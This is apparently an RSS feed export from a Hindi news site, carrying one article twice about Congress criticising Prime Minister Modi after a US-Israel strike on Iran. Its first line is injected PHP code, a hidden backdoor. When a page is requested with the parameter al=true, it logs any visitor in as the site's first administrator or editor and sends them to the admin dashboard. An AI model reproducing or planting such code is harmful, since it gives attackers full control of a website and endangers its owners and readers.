// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Iran-Israel conflict – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 28 Feb 2026 16:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 ईरान-इजरायल युद्ध पर सियासत तेज, ‘भारत के पुराने दोस्त’ पर हमले को लेकर कांग्रेस ने मोदी सरकार को घेरा https://pratyushaashakinayikiran.com/?p=201569 Sat, 28 Feb 2026 16:35:00 +0000 https://pratyushaashakinayikiran.com/?p=201569 नई दिल्ली
ईरान और अमेरिका के बीच कई दिनों से चले आ रहे तनाव के बाद आखिरकार इजरायल के साथ मिलकर यूएस ने ईरान पर हमला बोल दिया है। तेहरान के साथ-साथ इजरायल में भी कई जगह पर विस्फोटों सुने जाने की खबर है। मध्य-पूर्व में चल रहे इस संघर्ष का असर भारत की राजनीति पर भी देखने को मिल रहा है। कुछ दिन पहले ही इजरायल की यात्रा करके लौटे प्रधानमंत्री नरेंद्र मोदी पर कांग्रेस ने हमला बोलते हुए पूछा है कि क्या पीएम मोदी इजरायल और ईरान के बीच में जारी इस युद्ध का समर्थन करते हैं?

कांग्रेस पार्टी के मीडिया प्रमुख पवन खेड़ा ने सोशल मीडिया साइट पर एक पोस्ट करते हुए पीएम मोदी पर निशाना साधा। उन्होंने लिखा, "प्रधानमंत्री मोदी के दोस्त बेंजामिन नेतन्याहू ने अब भारत के पुराने दोस्त ईरान पर हमला बोल दिया है। यह प्रधानमंत्री मोदी के दौरे से लौटने के बमुश्किल दो दिन के बाद हुआ है। रूस-यूक्रेन युद्ध को रोकने के बारे में तमाम दिखावे के बाद, मोदी ने अपनी इजराइल यात्रा का उपयोग इजराइल और ईरान के बीच तनाव कम करने के लिए क्यों नहीं किया? क्या वह इस युद्ध का समर्थन करते हैं?"

गौरलतब है कि प्रधानमतंत्री मोदी 25 और 26 फरवरी के दिन इजरायल के दौरे पर थे। इस दौरे पर भारत और इजरायल के बीच में कई अहम समझौते हुए और पीएम मोदी ने इजरायली संसद को भी संबोधित किया था। हालांकि, पीएम मोदी के इस दौरे से ईरान पर किए जा रहे हमले को कोई लेना-देना नहीं था। क्योंकि अमेरिका और इजरायल के बीच पीएम के दौरे के बहुत पहले से ही ईरान के खिलाफ मोर्चाबंदी की जा रही थी। जिनेवा में चल रही बातचीत के बीच जब ईरान, अमेरिकी की शर्तों पर खड़ा नहीं उतरा, इसके बाद इजरायल और यूएस ने मिलकर तेहरान के ऊपर हमला बोल दिया। मध्य-पूर्व में इस संकट के बादल पिछले कई महीनों से मंडरा रहे थे।

क्या चाहता है अमेरिका?
पिछले महीनों ऑपरेशन मिडनाइट हैमर के जरिए अमेरिका ने ईरान के न्यूक्लियर साइट को नष्ट करने की कोशिश की थी। विशेषज्ञों के मुताबिक अमेरिका उसमें आंशिक रूप से ही सफल हो पाया। हालांकि, इजरायल भी लगातार ईरानी न्यूक्लियर वैज्ञानिकों, सैन्य अधिकारियों को निशाना बनाकर ईरान को कमजोर करता आ रहा है, लेकिन अब अमेरिका के ट्रंप प्रशासन ने सीधे युद्ध में उतरने की ठान ली है।

ईरान पर किए गए हमले के बाद अमेरिकी राष्ट्रपति ने एक वीडियो संदेश के जरिए ईरानी लोगों से भी सड़कों पर उतरकर अपने बेहतर भविष्य के लिए खामेनेई को सत्ता से हटाने की अपील की है। उन्होंने कहा, "अमेरिका आज वह मदद लेकर आया है, जिसका इंतजार आप पिछले कई सालों से कर रहे हैं। पिछला कोई भी अमेरिकी राष्ट्रपति यह नहीं कर पाया है। ऐसे में अब हमारा प्रशासन यह लेकर आया है, अब देखना है कि आप इस पर कैसे रिएक्ट करते हैं।"

आपको बता दें, इजरायल द्वारा किए गए हमले के बाद ईरान की तरफ से भी इजरायल को निशाना बनाना शुरू किया जा चुका है। वहीं, दूसरी तरफ ईरान के समर्थन में यमन के हूती विद्रोहियों ने ऐलान किया है कि वह फिर से लाल सागर से जाने वाले जहाजों को निशाना बनाएंगे। इस युद्ध में अमेरिका का मुख्य उद्देश्य ईरान में सत्ता पलटना और न्यूक्लियर प्रोग्राम को नष्ट करना है। वहीं, दूसरी और खामेनेई के नेतृत्व में ईरान भी अपनी बात पर अड़ा हुआ है।

 

]]>
ईरान-इजरायल युद्ध पर सियासत तेज, ‘भारत के पुराने दोस्त’ पर हमले को लेकर कांग्रेस ने मोदी सरकार को घेरा https://pratyushaashakinayikiran.com/?p=201571 Sat, 28 Feb 2026 16:35:00 +0000 https://pratyushaashakinayikiran.com/?p=201571 नई दिल्ली
ईरान और अमेरिका के बीच कई दिनों से चले आ रहे तनाव के बाद आखिरकार इजरायल के साथ मिलकर यूएस ने ईरान पर हमला बोल दिया है। तेहरान के साथ-साथ इजरायल में भी कई जगह पर विस्फोटों सुने जाने की खबर है। मध्य-पूर्व में चल रहे इस संघर्ष का असर भारत की राजनीति पर भी देखने को मिल रहा है। कुछ दिन पहले ही इजरायल की यात्रा करके लौटे प्रधानमंत्री नरेंद्र मोदी पर कांग्रेस ने हमला बोलते हुए पूछा है कि क्या पीएम मोदी इजरायल और ईरान के बीच में जारी इस युद्ध का समर्थन करते हैं?

कांग्रेस पार्टी के मीडिया प्रमुख पवन खेड़ा ने सोशल मीडिया साइट पर एक पोस्ट करते हुए पीएम मोदी पर निशाना साधा। उन्होंने लिखा, "प्रधानमंत्री मोदी के दोस्त बेंजामिन नेतन्याहू ने अब भारत के पुराने दोस्त ईरान पर हमला बोल दिया है। यह प्रधानमंत्री मोदी के दौरे से लौटने के बमुश्किल दो दिन के बाद हुआ है। रूस-यूक्रेन युद्ध को रोकने के बारे में तमाम दिखावे के बाद, मोदी ने अपनी इजराइल यात्रा का उपयोग इजराइल और ईरान के बीच तनाव कम करने के लिए क्यों नहीं किया? क्या वह इस युद्ध का समर्थन करते हैं?"

गौरलतब है कि प्रधानमतंत्री मोदी 25 और 26 फरवरी के दिन इजरायल के दौरे पर थे। इस दौरे पर भारत और इजरायल के बीच में कई अहम समझौते हुए और पीएम मोदी ने इजरायली संसद को भी संबोधित किया था। हालांकि, पीएम मोदी के इस दौरे से ईरान पर किए जा रहे हमले को कोई लेना-देना नहीं था। क्योंकि अमेरिका और इजरायल के बीच पीएम के दौरे के बहुत पहले से ही ईरान के खिलाफ मोर्चाबंदी की जा रही थी। जिनेवा में चल रही बातचीत के बीच जब ईरान, अमेरिकी की शर्तों पर खड़ा नहीं उतरा, इसके बाद इजरायल और यूएस ने मिलकर तेहरान के ऊपर हमला बोल दिया। मध्य-पूर्व में इस संकट के बादल पिछले कई महीनों से मंडरा रहे थे।

क्या चाहता है अमेरिका?
पिछले महीनों ऑपरेशन मिडनाइट हैमर के जरिए अमेरिका ने ईरान के न्यूक्लियर साइट को नष्ट करने की कोशिश की थी। विशेषज्ञों के मुताबिक अमेरिका उसमें आंशिक रूप से ही सफल हो पाया। हालांकि, इजरायल भी लगातार ईरानी न्यूक्लियर वैज्ञानिकों, सैन्य अधिकारियों को निशाना बनाकर ईरान को कमजोर करता आ रहा है, लेकिन अब अमेरिका के ट्रंप प्रशासन ने सीधे युद्ध में उतरने की ठान ली है।

ईरान पर किए गए हमले के बाद अमेरिकी राष्ट्रपति ने एक वीडियो संदेश के जरिए ईरानी लोगों से भी सड़कों पर उतरकर अपने बेहतर भविष्य के लिए खामेनेई को सत्ता से हटाने की अपील की है। उन्होंने कहा, "अमेरिका आज वह मदद लेकर आया है, जिसका इंतजार आप पिछले कई सालों से कर रहे हैं। पिछला कोई भी अमेरिकी राष्ट्रपति यह नहीं कर पाया है। ऐसे में अब हमारा प्रशासन यह लेकर आया है, अब देखना है कि आप इस पर कैसे रिएक्ट करते हैं।"

आपको बता दें, इजरायल द्वारा किए गए हमले के बाद ईरान की तरफ से भी इजरायल को निशाना बनाना शुरू किया जा चुका है। वहीं, दूसरी तरफ ईरान के समर्थन में यमन के हूती विद्रोहियों ने ऐलान किया है कि वह फिर से लाल सागर से जाने वाले जहाजों को निशाना बनाएंगे। इस युद्ध में अमेरिका का मुख्य उद्देश्य ईरान में सत्ता पलटना और न्यूक्लियर प्रोग्राम को नष्ट करना है। वहीं, दूसरी और खामेनेई के नेतृत्व में ईरान भी अपनी बात पर अड़ा हुआ है।

 

]]>